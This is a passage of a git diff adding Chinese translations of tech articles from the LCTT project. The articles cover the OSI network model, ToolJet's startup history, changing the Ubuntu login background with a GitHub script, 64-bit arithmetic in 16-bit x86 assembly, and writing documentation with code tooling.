+### 应用层 + +应用层是在软件中实现的。它是与应用程序交互的层级。 + +用发送消息作为例子。发送消息的程序与应用层进行交互,并发送消息。接着,应用层向 OSI 模型的下一个层级(即表示层)发送消息。 + +### 表示层 + +来自应用层的数据被转发到表示层。表示层接收到文字、字符、字母、数字等形式的数据,并把它们转换为机器可识读的二进制格式数据。这个过程叫做编译。 + +在此阶段,ASCII(美国信息交换标准码)字符被转换为扩充的二进制编码的十进制交换码(EBCDIC)。转换后的数据在继续传输前,也会进行编码和加密过程,使用 SSL 协议进行加密和解密。 + +表示层的作用是抽象化,它假设下面的层级会处理它们收到的数据。它也负责压缩数据。数据的压缩可能是有损的,也有可能是无损的,这取决于很多因素,这不属于本文的讨论范围。 + +### 会话层 + +会话层的作用是建立和管理连接。该层级的主要工作是建立会话。例如,你登录网上商城,就在你的机器和服务器之间建立了会话。 + +会话层的作用是实现数据的发送和接收,完成后连接的会话就终止了。在一个会话建立前,会进行身份验证。与上一层类似,会话层也假设在它的工作完成后,下面的层级也会准确无误地处理数据。 + +### 传输层 + +传输层的作用是管理数据传输和其自身的关于数据如何传输的一些协议。从会话层传到这里的数据被分为更小的数据单元,这些数据单元称为片段。这个过程叫做“分段”。每个片段包含来源端口号、目标端口号和一个序列号。端口号用来识别发送数据的应用程序。注意,数据以块的形式传输。序列号用于把这些片段按正确的顺序排列。 + +传输层负责控制流量或在给定的时间内传输的数据量。它也负责错误控制,比如数据丢失、损坏等情况。它利用一种错误检测值,通常叫做校验和。传输层对每个数据片段加上校验和,就可以检查所发送的数据是否被正确接收。然后数据传输到网络层。 + +### 网络层 + +网络层的作用是跟其他网络进行通信。它把从一台机器接收到的数据片段传输给另一台位于不同网络的机器。路由器是作用于网络层的。 + +网络层的功能是逻辑寻址(就是确定 IP 地址)。它为发送方和接收方分配 IP 地址,数据包附带了这个地址,就可以被传输到正确的目标机器。接着网络层对数据包进行路由。负载均衡也是在网络层进行的,旨在确保不会发生过载。下一步,数据传输到数据链路层。 + +### 数据链路层 + +数据链路层支持跟其他设备直接通信。 + +它接收到来自网络层、包含发送方和接收方 IP 地址的数据包,进行物理寻址,然后将发送方和接收方的 MAC 地址分配给数据包,形成帧。 + +### 物理层 + +物理层由系统的所有硬件和物理设备(包括网线、导航系统、适配器等)组成。在这里,从前面层级接收到的数据都是 0 和 1 形式的。物理层把这些数据转换并通过各种方式(如果是光纤电缆,有电线、电信号、光信号;如果是 WIFI,则为无线电信号)传输至本地媒介。 + +注意,物理层作用于接收方的一端,把接收到的信号以帧的形式传输到数据链路层(把它转换回二进制数据形式)。然后帧传输到上面的层级,最终应用层(应用软件)会接收到需要的数据。 + +### 结语 + +当你需要描述网络架构或排除网络问题时,OSI 模型的相关知识会对你有所帮助。我希望本文能令你对这个模型的方方面面有清晰的理解。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/osi-model-network-communications + +作者:[Anamika][a] +选题:[lkxed][b] +译者:[cool-summer-021](https://github.com/cool-summer-021) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/anamika +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/code_computer_development_programming.png +[2]: https://opensource.com/article/22/10/osi-model-network-communications#application-layer +[3]: https://opensource.com/article/22/10/osi-model-network-communications#presentation-layer +[4]: https://opensource.com/article/22/10/osi-model-network-communications#session-layer +[5]: https://opensource.com/article/22/10/osi-model-network-communications#transport-layer +[6]: https://opensource.com/article/22/10/osi-model-network-communications#network-layer +[7]: https://opensource.com/article/22/10/osi-model-network-communications#data-link-layer +[8]: https://opensource.com/article/22/10/osi-model-network-communications#physical-layer +[0]: https://img.linux.net.cn/data/attachment/album/202212/16/092612etn6gwaecb91bweg.jpg \ No newline at end of file diff --git a/published/202212/20221019.5 ⭐️⭐️ Our open source startup journey.md b/published/202212/20221019.5 ⭐️⭐️ Our open source startup journey.md new file mode 100644 index 0000000000..b8180b32c2 --- /dev/null +++ b/published/202212/20221019.5 ⭐️⭐️ Our open source startup journey.md @@ -0,0 +1,112 @@ +[#]: subject: "Our open source startup journey" +[#]: via: "https://opensource.com/article/22/10/tooljet-open-source-journey" +[#]: author: "Navaneeth PK https://opensource.com/users/navaneeth" +[#]: collector: "lkxed" +[#]: translator: "CanYellow" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15359-1.html" + +我们的开源创业之旅 +====== + +![][0] + +> 以下是开源项目 ToolJet 是如何在一年的时间里取得 13000 颗星标和 200 个贡献者的故事。 + +[ToolJet][1] 是一款开源的低代码框架,用于快速构建和部署内部工具。它的代码库完全由 JavaScript 和 TypeScript 组成。 + +2021 年 4 月,一名开发者独自开始了 ToolJet 的开发,并于 2021 年 6 月推出公测版本,一炮而红。此后,ToolJet 成立了基金会。目前,我们已经有一个 20 人的开发团队。 + +### 为什么选择开源 + +在开发 ToolJet 之前,我曾担任一些企业客户的顾问。这些客户中的许多都庞大到足以维护构建几十个内部工具。尽管来自销售人员、支持人员以及运营人员不断要求对内部工具添加更多功能和修复错误,但开发团队却很难有精力来开发内部工具。 + +我尝试使用过多个平台来构建和维护内部工具。这些工具大多非常昂贵,而且经常不符合要求。我们需要进行修改,而且大多数工具不支持内部托管。 + +作为一名 Ruby 开发者,我最初使用 ActiveAdmin 和 RailsAdmin 来构建内部工具。这两款工具都是极好的,只是将它们应用在使用多个数据源的任务上比较困难。于是我意识到市场上需要一种可以构建用户界面,并能够连接多个数据源的框架。我相信任何为开发者制作的工具都应当是开源的。开发者日常使用的大部分工具与框架都源自世界各地人们的公开协作。 + +### 第一次提交 + +制作像 ToolJet 这样的工具需要全身心的投入,通过出售我的一个业余项目,我获得了五六个月的空闲,于是我立即着手将在我脑海里酝酿了两年的想法付诸现实。 + +2021 年 4 月 1 日,我完成了 ToolJet 的第一次提交(使用 `rails new` 命令)。 + +稍等!我刚刚说 ToolJet 的代码是完全基于 JavaScript 的?请接着往下看。 + +### 构建完成并推销给投资者 + +4、5 月间,我一直坐在电脑屏幕前编写代码和向种子轮的投资者推销我的工具。 + +我的工作还包括创建拖放式应用程序构建器,撰写所有的文档以保证有在主流平台上设置 ToolJet 的文档,创建项目网站,制作发布时所需的海报以及博客文章等等。这一过程进展顺利,没有遇到大的挑战。当时,ToolJet 的前端使用的是 React ,而后端则用的是 Ruby on Rails 。 + +编程工作进行得很顺利,然而向投资者推广的工作进行得并不顺利。我向专注于初创时期投资的风投和天使投资人发送了大约 40 封电子邮件,都石沉大海。大部分邮件都被忽略了,不过也有一些公司向我说明了拒绝的原因,另外一些则给我回了电话。 + +大部分的电话内容都是一样的:我无法说服他们接受开源商业模式。 + +### 工具发布 + +6 月 7 日是发布日。我们首先在 ProductHunt(LCTT 译注:[ProductHunt][11] 是一个新品发布平台)上发布。六个小时后,只有 70 名用户注册。但是我们有成为当天第一名产品的趋势(最终在那一周的产品中排名第三)。这里是原始的 [发布帖][2]。 + +下午 6 点左右,我又在 [HackerNews][3] 上发帖,一个小时内,这个帖子便升至榜首。大量的访问者注册并给我的版本库点亮星标,我对此很高兴。许多访问者和用户报告了软件和文档中的错误。距离在 HackNews 上发帖八个小时之后,超过 1000 名 GitHub 用户给 ToolJet 的 GitHub 版本库点亮了星标,并且有数百人注册了 ToolJet 云。上升趋势一直持续到三天后,ToolJet 版本库总计得到了 2400 个星标。 + +![ToolJet repo stats on GitHub][4] + +### 获得资助 + +ToolJet 项目在 GitHub 上的吸引力足以被风投(VC)世界注意到。发布之后的日子被各种来电挤满了。我们也有其他的选择,但从没有认真考虑过这些它们。这些选择包括: + +- 引导性融资:在项目初期,难以获得付费用户,而我此前也没有足够的储蓄来支撑整个项目。 +- 作为业余项目:在开发小型项目上这是可以的,但我不认为这在 ToolJet 的开发上行得通,毕竟在 ToolJet 平台能够为客户所用之前,我们需要创建大量的集成和 UI 控件。作为一个业余项目,要实现这些可能需要花费数月甚至数年时间。 + +我知道如果将 ToolJet 作为一个业余项目来开发,我可能需要花几个月的时间才能达到我期望的程度。而我希望通过扩大团队加速项目的成熟。鉴于该项目的吸引力,引入风险投资(VC)的资助是显而易见的选择。 + +好消息是在 HackNews 上发布之后的两周内我们成功募集了 [155 万美元的资金][5]。 + +### 在开源中积累很重要 + +发布后不久,我们发现许多人希望为 ToolJet 项目做贡献,但是他们几乎都是 JavaScript 开发者。我们也意识到像 ToolJet 这样的项目在未来会有成百上千的数据接口,只有基于插件的架构才行得通。我们于 2021 年 8 月决定从 Ruby 迁移到 TypeScript 上来。即使这花费了一个月的时间和巨大的努力,这仍然是我们在 ToolJet 项目上作出的最正确的决定。今天,我们有一个由我们的 [插件开发套件][6] 支持的可扩展的基于插件的架构。我们获得了来自超过 200 名开发者的贡献。关于这次迁移的文章参见 [这篇博客][7] 和 [另一篇博客][8]。 + +### 发布 v1.0 版本 + +自 8 月份以后,很多用户已经在生产环境中使用 ToolJet ,该平台并没有出现过任何稳定性或扩展性的问题。我们准备在发布 v1.0 版本之前完成开发人员平台的功能。开发人员平台允许任何 JavaScript 开发者构建和发布 ToolJet 插件。这样开发人员就可以为 ToolJet 开发数据接口。把集成测试的时间算上,创建一个 ToolJet 接口的时间也只需要30分钟。 + +### 创建持续成长的社区 + +![ToolJet star history][9] + +我们没有在销售上投入资金,我们的大部分精力都放在了传播 ToolJet 的消息、撰写我们的经验教训以及维持开发社区的活跃上。我们有一个关注社区里问题的三人团队。 + +### 商业模式 + +如果没有 [商业产品][10] 来支付账单,ToolJet 就无法成为一项可持续的业务。我们构建了 ToolJet 的客户付费的企业版本。ToolJet 的免费的社区版本没有任何使用限制,企业版中的额外功能都只与大型团队有关。我们现在的客户已经有超大型公司。我们有足够的银行存款来打造更好的 ToolJet ,因此我们目前正聚焦于产品提升上。 + +### 接下来做什么 + +我们在开源社区的不断反馈和贡献的帮助下,我们可以经常性发布更好的 ToolJet 版本。很多主要的优化、大量的数据接口以及 UI 组件正在开发进程中。我们正以前所未有的速度朝着我们的最初目标前进,即成为一个可以连接到数百个数据源和构建最复杂的用户界面的开源框架。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/tooljet-open-source-journey + +作者:[Navaneeth PK][a] +选题:[lkxed][b] +译者:[CanYellow](https://github.com/CanYellow) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/navaneeth +[b]: https://github.com/lkxed +[1]: https://github.com/ToolJet/ToolJet +[2]: https://www.producthunt.com/products/tooljet-0-5-3 +[3]: https://news.ycombinator.com/item?id=27421408 +[4]: https://opensource.com/sites/default/files/2022-10/tooljet-repo-stats.png +[5]: https://blog.tooljet.com/raising-vc-funding-for-open-source-project +[6]: https://www.npmjs.com/package/@tooljet/cli +[7]: https://blog.tooljet.com/migrating-toojet-from-ruby-on-rails-to-nodejs +[8]: https://blog.tooljet.com/how-we-migrated-tooljet-server-from-ruby-to-node-js +[9]: https://opensource.com/sites/default/files/2022-10/tooljet-star-history.png +[10]: https://opensource.com/article/19/11/product-vs-project +[11]: https://www.producthunt.com/ +[0]: https://img.linux.net.cn/data/attachment/album/202212/17/221548rbp2t6z8ah3h031s.jpg \ No newline at end of file diff --git a/published/202212/20221025.3 ⭐️ How to Change Login Screen Background in Ubuntu.md b/published/202212/20221025.3 ⭐️ How to Change Login Screen Background in Ubuntu.md new file mode 100644 index 0000000000..1c1701997a --- /dev/null +++ b/published/202212/20221025.3 ⭐️ How to Change Login Screen Background in Ubuntu.md @@ -0,0 +1,103 @@ +[#]: subject: "How to Change Login Screen Background in Ubuntu" +[#]: via: "https://www.debugpoint.com/change-login-background-ubuntu/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15329-1.html" + +如何更改 Ubuntu 的登录屏幕背景 +====== + +![][0] + +> 这篇指南可以让你如何摆脱 Ubuntu 的无趣的登录背景屏幕,并在你每次登录时设置一张漂亮的图片来欢迎你。 + +我总是认为,在你启动你的系统后,应该有一个漂亮的登录屏幕来欢迎你。这本身就为你即将开始的工作或活动渲染了愉快的氛围。尽管,我不是一名 Windows 的粉丝,但是我很欣赏 Windows 10 的登录背景都会每天随着 Bing 壁纸进行更改,它看起来好极了,对吧? + +前段时间,我们讨论了如何 [更改 Fedora 的登录屏幕背景][1] 和 [更改 elementary OS 的登录屏幕背景][2] 。现在这篇指南将向你解释,如何更改使用 GNOME Shell 的 Ubuntu 的登录屏幕背景。 + +登录屏幕背景是显示管理器(DM)属性的一部分。这篇指南将使用一位用户在 GitHub 中创建的一个脚本,使得普通用户也能简单易用。否则,你需要在提取 `.gresource` 文件后,必须手动更改 Gnome 显示管理器Gnome Display Manager(GDM)的 CSS 文件,接下来再编译它。一般来说,这是很复杂的。 + +![Ubuntu 登录屏幕 – 在更改前][3] + +### 更改 Ubuntu 的登录背景 + +打开一个终端(按下组合键 `CTRL+ALT+T`)。 + +使用下面的命令,下载这个 [GitHub 仓库][4] : + +``` +wget github.com/thiggy01/change-gdm-background/raw/master/change-gdm-background +``` + +**注意**: 如果你没有 `wget` ,使用 `sudo apt install wget` 来安装它。 + +> **Ubuntu 22.04 Jammy Jellyfish** 用户需要更改一些额外的代码来使其工作,因为,在 GitHub 仓库中,开发者没有修复它。因此,在这里你需要自己来更改。 +> +> 使用 gedit 来打开 `change-gdm-background` 文件。接下来,转到下面的行(`#15`) 并添加 `|jammy` 。 +> +> ![脚本更改为允许 jammy][5] +> +> 接下来,转到下面的两行(`#144` 和 `#184`)。将 `gdm3.css` 更改为 `gdm.css` 。如下图所示。 +> +> ![修正针对 gdm 的 css 文件][6] +> +> 最后,保存文件,并遵循如下的操作指南。这种解决方法只适用于 Ubuntu 22.04 的登录屏幕的更改。 + +更改脚本的权限来使其可执行: + +``` +chmod +x change-gdm-background +``` + +接下来,更改 Ubuntu 的登录背景壁纸,使用下面的命令。按照你的图片相应地更改路径: + +``` +sudo ./change-gdm-background ~/Pictures/tree.jpg +``` + +这一步骤可能需要 `libglib2.0-dev` 软件包,它将会自动地安装。提取和编译 `.gresource` 会用到它。 + +在安装后,它应该会提示你重新启动 GDM 。慎重起见,按下 `N` 按键。 + +注销后,你可以看到更改后的 Ubuntu 的背景。 + +如果你没有看到更改,尝试重新启动你的系统,然后尝试登录。 + +![在更改后的,Ubuntu 的登录屏幕背景][7] + +### 恢复先前的登录屏幕 + +该脚本也提供了一种恢复先前的登录屏幕的特色功能。它在更改你的 `.gresource` 文件前,会将其进行备份。因此,恢复先前的登录屏幕,只需要在终端中简单地运行下面的命令。 + +``` +sudo ./change-gdm-background --restore +``` + +这应该会将其登录屏幕更改回其先前的形式。 + +请在下面的评论框中,让我知道这篇指南的内容是否对你有效果,这应该适用于所有的最新版本的 Ubuntu Linux 。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/change-login-background-ubuntu/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/2021/09/change-login-background-fedora/ +[2]: https://www.debugpoint.com/2021/07/change-lock-login-screen-background-elementary-os/ +[3]: https://www.debugpoint.com/wp-content/uploads/2021/09/Ubuntu-Login-screen-before-change-1024x539.jpg +[4]: https://github.com/thiggy01/change-gdm-background +[5]: https://www.debugpoint.com/wp-content/uploads/2022/09/script-change-to-allow-jammy.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/09/correct-the-css-file-for-gdm.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2021/09/Ubuntu-Login-screen-After-Change-1024x538.jpg +[0]: https://img.linux.net.cn/data/attachment/album/202212/08/121701hdfufrlqe4qtdtel.jpg \ No newline at end of file diff --git a/published/202212/20221026.0 ⭐️⭐️⭐️ Doing 64-bit math on a 16-bit system.md b/published/202212/20221026.0 ⭐️⭐️⭐️ Doing 64-bit math on a 16-bit system.md new file mode 100644 index 0000000000..4630edf724 --- /dev/null +++ b/published/202212/20221026.0 ⭐️⭐️⭐️ Doing 64-bit math on a 16-bit system.md @@ -0,0 +1,158 @@ +[#]: subject: "Doing 64-bit math on a 16-bit system" +[#]: via: "https://opensource.com/article/22/10/64-bit-math" +[#]: author: "Jerome Shidel https://opensource.com/users/shidel" +[#]: collector: "lkxed" +[#]: translator: "yzuowei" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15332-1.html" + +如何在 16 位系统上进行 64 位数学运算 +====== + +![][0] + +> 只要对汇编有一点基本的了解,这些函数就能扩展到任意位长的整型数学运算。 + +几年前,我为 FreeDOS 写了一个叫做 VMATH 的命令行数学程序。它只能在很小的无符号整型上执行十分简单的数学运算。随着近来 FreeDOS 社区里对基础数学的兴趣,我改进了 VMATH 使其可以为有符号 64 位整型提供基本的数学支持。 + +仅使用 16 位 8086 兼容的汇编指令来操控大型数字的过程并不简单。我希望能够分享一些在 VMATH 中用到的技术例子。其中一些方法掌握起来相当容易。而另外一些方法则看起来有点奇怪。你甚至可能学到一种进行基本数学运算的全新方式。 + +接下来要讲的加、减、乘、除会用到的技术将不局限于并不局限于 64 位整型。只要对汇编有一点基本的了解,这些函数就能扩展到任意位长的整型数学运算。 + +在深入研究这些数学函数前,我想先从计算机的角度介绍一下数字的一些基本知识。 + +### 计算机是如何读取数字的 + +一个英特尔兼容的 CPU 以字节Byte的形式贮存数字,储存顺序为从最低有效字节到最高有效字节。每个字节由 8 个二进Bit组成,两个字节组成一个Word。 + +一个储存在内存里的 64 位整型占用了 8 个字节(即 4 个字)。例如,数字 `74565`(十六进制表示为 `0x12345`)的值长得是这个样子的: + +``` +用字节表示:db 0x45, 0x23, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00 +用字表示:dw 0x2345, 0x0001, 0x0000, 0x0000 +``` + +当读取或写入数据到内存时,CPU 会以正确的顺序处理这些字节。对于比 8086 更现代的处理器而言,数据分组可以再大些,比如一个四字组Quadword就可以表达整个 64 位整型 `0x0000000000012345`。 + +8086 CPU 不能理解这么大的数字。当为 FreeDOS 编程时,你想要写的是一个能在任意电脑上跑的程序,甚至是原始的 IBM PC 5150。你想要使用能够扩展到任意大小整型的技术。我们其实并不关心更现代 CPU 的能力。 + +为了能做整型运算,我们的数据需要表达两种不同类型的数字。 + +第一种是无符号unsigned整型,其使用了所有的位来表达一个正数。无符号整型的值域为从 `0` 到 $2^{位长} - 1$。例如,8 位数可以是 `0` 到 `255` 之间的任意值,而 16 位数则在 `0` 到 +`65535` 之间,以此类推。 + +有符号整型也很类似。不同之处在于数字的最高位代表了这个数是一个正数(`0`)还是一个负数 (`1`)。有符号整型的值域前半部分为正数,正数值域是从 `0` 到 $2^{(位长 - 1)} - 1$。整型值域的后半部分为负数,负数值域则从 $0 - (2^{位长 - 1})$ 到 `-1`。 + +比如说,一个 8 位数代表着 `0` 到 `127` 之间的任意正数,以及 `-128` 到 `-1` 之间的任意负数。为了能更好的理解这一点,想象 **字节** 为一列数组 `[0...127,-128...-1]`。因为 `-128` 在数组内紧跟着 `127`,`127` 加 `1` 等于 `-128`。当然这可能看起来有点奇怪甚至反常,但这其实让这个层级的基本数学运算变简单了。 + +为了能够对大型整型进行简单的加、减、乘、除,你应该摸索一些简单的公式来计算一个数的绝对值或负值。你在做有符号整型运算的时候会用上它们的。 + +### 绝对值与负值 + +计算一个有符号整型的绝对值并没有它看起来的那么糟糕。由于无符号和有符号数字在内存里的储存形式,我们其实有一个简单的方案。你只需要翻转一个负数的所有字位,得出的结果再加 `1`。 + +如果你从没接触过二进制的话,这可能听上去有点奇怪,但这就是这么工作的。让我们来举一个例子,取一个负数的 8 位表达,比如说 `-5`。因为 `-5` 靠近 `[0...127,-128...-1]` 字节组末端,它的十六进制值为 `0xfb`,二进制值为 `11111011`。如果你翻转了所有字位,你会得到 `0x04` 或二进制值 `00000100`。结果加 `1` 你就得到了你的答案:你刚刚把 `-5` 的值变成了 `+5`。 + +你可以用汇编写下这个程序用以返回任意 64 位数字的绝对值: + +``` +; 语法,NASM for DOS +proc_ABS: +  ; 启动时,SI 寄存器会指向数据段(DS)内的内存位置,那里存放着程序内包含着 +  ; 会被转为正数的 64 位数。 +  ; 结束时,如果结果数字不能被转正,CF 寄存器会被设置。这种情况只 +  ; 有在遇到最大负值时会发生。其余情况,CF 不会被设置。 +  +  ; 检查最高字节的最高位 +  test [si+7], byte 0x80 +  ; 如不为 1,值为正值 +  jz .done_ABS +  ; 翻转所有位 +  not word [si+6] ; 字 #4 +  not word [si+4]       ; 字 #3 +  not word [si+2]       ; 字 #2 +  not word [si]         ; 字 #1 +  ; 字 #1 加 1 +  inc word [si] +  ; 如结果不为 0,结束 +  jnz .done_ABS +  ; 字 #2 加 1 +  inc word [si+2] +  ; 如结果为 0,进位下一个字 +  jnz .done_ABS +  inc word [si+4] +  jnz .done_ABS +  ; 此处无法进位 +  inc word [si+6] +  ; 再一次检查最高位 +  test [si+7], byte 0x80 +  ; 如不为 1,我们成功了,结束 +  jz .done_ABS +  ; 溢出错误,它被转成了负数 +  stc +  ; 设置 CF 并返回 +  ret +.done_ABS: +  ; 成功,清理 CF 并返回 +  clc +  ret +``` + +你可能已经注意到了,这个函数有一个潜在问题。由于正数和负数的二进制值表达方式,最大负数无法被转成正数。以 8 位数为例,最大负数是 `-128`。如果你翻转了 `-128` 的所有位数(二进制 `1__0000000`),你会得到 127(二进制 `0__1111111`)这个最大正值。如果你对结果加 `1`,它会因溢出回到同样的负数(`-128`)。 + +要将正数转成负数,你只需要重复计算绝对值的步骤就行。以下的程序十分相似,你唯一需要确认的就是一开始的数字不是已经负了。 + +``` +; 语法, NASM for DOS +proc_NEG: +  ; 开始时,SI 会指向需要转负的数字在内存里的位置。 +  ; 结束时,CF 永远不会被设置。 +  +  ; 检查最高字节的最高位 +  test [si+7], byte 0x80 +  ; 如为 1,数已经是负数 +  jnz .done_NEG +  not word [si+6]       ; 翻转字的所有位,字 #4 +  not word [si+4]       ; 字 #3 +  not word [si+2]       ; 字 #2 +  not word [si]         ; 字 #1 +  inc word [si]         ; 字 #1 加 1 +  ; 如结果不为 0,结束 +  jnz .done_NEG +  ; 字 #2 加 1 +  inc word [si+2] +  ; 如结果为 0,进位下一个字 +  jnz .done_NEG +  inc word [si+4] +  jnz .done_NEG +  ; 此处无法进位或转化 +  inc word [si+6] +  ; 正。 +.done_NEG: +  clc                   ; 成功,清理 CF 并返回 +  ret +``` + +看着这些绝对值函数与负值函数间的通用代码,它们应该被合并起来节约一些字节。合并代码也会带来额外的好处。首先,合并代码能帮助防止简单的笔误。这样也可以减少测试的要求。进一步来讲,这样通常会让代码变得简单易懂。在阅读一长串的汇编指令时,忘记读到哪里是常有的事。现在,我们可以不管这些。 + +计算一个数的绝对值或负值并不难。但是,这些函数对于我们即将开始的有符号整型数学运算至关重要。 + +我已经介绍了整型数字在位这一层面的基本表示方法,也创造了可以改变这些数字的基本程序,现在我们可以做点有趣的了。 + +让我们来做些数学运算吧! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/64-bit-math + +作者:[Jerome Shidel][a] +选题:[lkxed][b] +译者:[yzuowei](https://github.com/yzuowei) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/shidel +[b]: https://github.com/lkxed +[0]: https://img.linux.net.cn/data/attachment/album/202212/09/150829g7c7x5e22qqo53c4.jpg \ No newline at end of file diff --git a/published/202212/20221028.1 ⭐️⭐️ Write documentation like you develop code.md b/published/202212/20221028.1 ⭐️⭐️ Write documentation like you develop code.md new file mode 100644 index 0000000000..95f0e82e50 --- /dev/null +++ b/published/202212/20221028.1 ⭐️⭐️ Write documentation like you develop code.md @@ -0,0 +1,88 @@ +[#]: subject: "Write documentation like you develop code" +[#]: via: "https://opensource.com/article/22/10/docs-as-code" +[#]: author: "Lorna Mitchell https://opensource.com/users/lornajane" +[#]: collector: "lkxed" +[#]: translator: "CanYellow" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15364-1.html" + +像书写代码一样撰写文档 +====== + +![][0] + +> 不想让文档成为事后的想法?或许你该尝试一下全新的写作方式。 + +很多工程师与手工艺者都对他们使用的工具有特别的要求。为了顺利的完成工作,你需要最好的工具和使用它们的技巧。软件开发中最好的工具在应用到其他的数字创作领域中也可以是很强大的。[文档即代码][1]Docs as Code 的方式就是很好的例子。“文档即代码”意味着使用与代码开发相同的工具和工作流来撰写文档。文档即代码的支持者认为,这样的方式可以在降低写作者的工作量的同时,也带来了更好的文档。 + +### 文本格式与源文件控制 + +从传统的写作平台切换到文档即代码方式时,最主要的调整是将写作内容保存在基于文本的标记格式中。这一转变使得基于纯文本的工具都适用于文档写作。无论你选择 [DocBook][2]、[Markdown][3] 或者其他的标记语言,从只使用一种工具到使用一种标准格式配合多种工具是一种巨大的转变。 + +找到支持你的工作流程的工具是非常重要的。很多开发者在文档即代码项目中使用他们的 [代码编辑器][4]。因为他们已经是这些工具的高阶用户,一切都很顺利。而找到适合团队里其他专业人员,比如技术撰稿、编辑、信息架构师和文档产品责任人的工具可能需要一番努力。这里有一些选项可供参考: + +- 各种 [优秀的 Markdown 编辑器][5] 之一 +- 附带良好的预览工具的代码编辑器可能更适合非程序员 +- 流行的 Git 托管服务的网页界面尤其适用于偶尔有需要的贡献者 + +一旦内容以标记语言的格式安全地保存,就可以使用 [Git][6] 这样的版本控制进行管理。Git 相比大多数文档平台具有更多的功能: + +- 清晰详细的文档版本历史:谁在什么时候改变了什么。如果你有良好的提交信息惯例,你甚至可以了解到为什么会有这样的变更。 +- 简明的并行修改过程。在 Git 中使用分支工作意味着任何人可以做出他们想要的任何改变,并在最后合并所做的变更。 +- 先进的协作与审查工具。所有的源代码管理平台都被设计成支持详细审查每一个变更,并根据需要进行讨论,使每个人都确信这个变更可以继续进行。 +- 自动质量检查,比如拼写检查和链接检查。这不仅节省了时间,而且可以发现可能遗漏的错误。 + +源代码管理有很多优点。但要记住,如果你准备入门源代码管理,它有一定的学习曲线。这是一些有助于撰写者入门的优秀的 [学习资源][7] 和 [文章][8]。你也可以让具有好奇心的文档撰写者自行寻找对他们有用的学习材料,而不是请你的工程师来培训他们。(问我是怎么学会的? —— 当然是通过艰苦的方式!) + +### 拉取请求和评审循环 + +所有的源代码管理平台都围绕 拉取请求Pull Request 这一概念设计的,这有时也称为 合并请求Merge Request
:有时候,某个人或某个团队先将一系列改变整合到一起,然后请求把这些修改拉到主项目中。不过从许多方面来说,在文档中一次处理多个变更比在代码中更容易。改变一篇文章中的某个地方,比更改代码并发现有其它几个地方依赖它,副作用更小。 + +最强大的协作工具是 [diff][9],它可以通过一个易于理解的方式展示旧版本与新版本之间的差异。该工具有许多不同的版本,可以使比较视图更易于查看:双栏模式、行内模式,甚至是渲染过的 Markdown 模式。团队中的每一个成员都可以选择最适合他们的工具。举例而言,网页视图通常用于查看细微变更,而对于更大的变更,我习惯于使用 `vimdiff` 或 [Meld][10] 在本地浏览。 + +评审意见可以被添加到整个修改中,也可以添加到拟议的变更的个别行中。一些项目限制了行的最大长度,即硬换行,或者一行一句,以使得向文本的特定的部分添加注释更加容易。可以添加进一步的修改与评论,直到审查过程结束,修改被接受。由于拉取请求在项目仓库以队列形式展示,这是一种很好的方式,可以展示目前正在进行的任务以及需要进行检查操作的任务。`diff` 工具使得评审人员更方便地添加他们的思考。尤其是你在与技术受众工作时,你可以通过他们日常使用的工具获得来自他们的评论。 + +### 持续集成与部署 + +以纯文本形式提供你的文档的源代码有很多益处,你可以轻易找到每一个需要修改的位置,你可以使用现有的诸如 [wc][11]、[grep][12] 或 `tree` 之类的工具,来处理潜在的大型文档集。当你将这些与源代码管理平台结合起来之后,你可能获得更多的可用工具,并且它们都是开源的。 + +另一个工作流程上的巨大提升是持续部署的能力。简单来说,这意味着,每当一个拉取请求被合并到主项目中,项目可以直接自动化部署到位。如果这个变更足够好,就可以放进项目中,它也足够好到可以在放到文档网站上帮助你的读者。典型情况下,持续部署是配置在一台单独的自动化服务器上的,比如 [Jenkins][13] 或者 [Git 钩子][14]。不论哪种方式,基于文本的标记语言与文档即代码平台(通常是静态网页生成器,比如 [Hugo][15] 或 [Sphinx][16])结合来生成文档网站,然后自动部署。 + +在部署之前,同样的自动化流程可以被用于对将要合并的拉取请求进行检查。在一个编程项目中,通过计算机自行进行代码检查、代码测试和其他的质量检查已经习以为常。通过类似 [Vale][17] 之类的工具可以对文本进行检查,文档项目也可以同样对待。你也可以添加其他的工具,比如添加一个链接检查器来确保文中所有的链接都是有效的。 + +### 用于文档流程的代码工具 + +被工程师们熟知并喜爱的工具都是非常好的工具,它们同时也可以用于其他类型的项目中。对于文档而言,它们提升了宝贵的效率,尤其是当你希望你的文档与你的团队同步推进的时候。上面讨论到的所有工具都是开源的,你可以亲自尝试,也可以为大型全球团队,亦或者介于两者之间的团队,部署它们。愿你的成文过程和编程过程一样顺畅。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/docs-as-code + +作者:[Lorna Mitchell][a] +选题:[lkxed][b] +译者:[CanYellow](https://github.com/CanYellow) 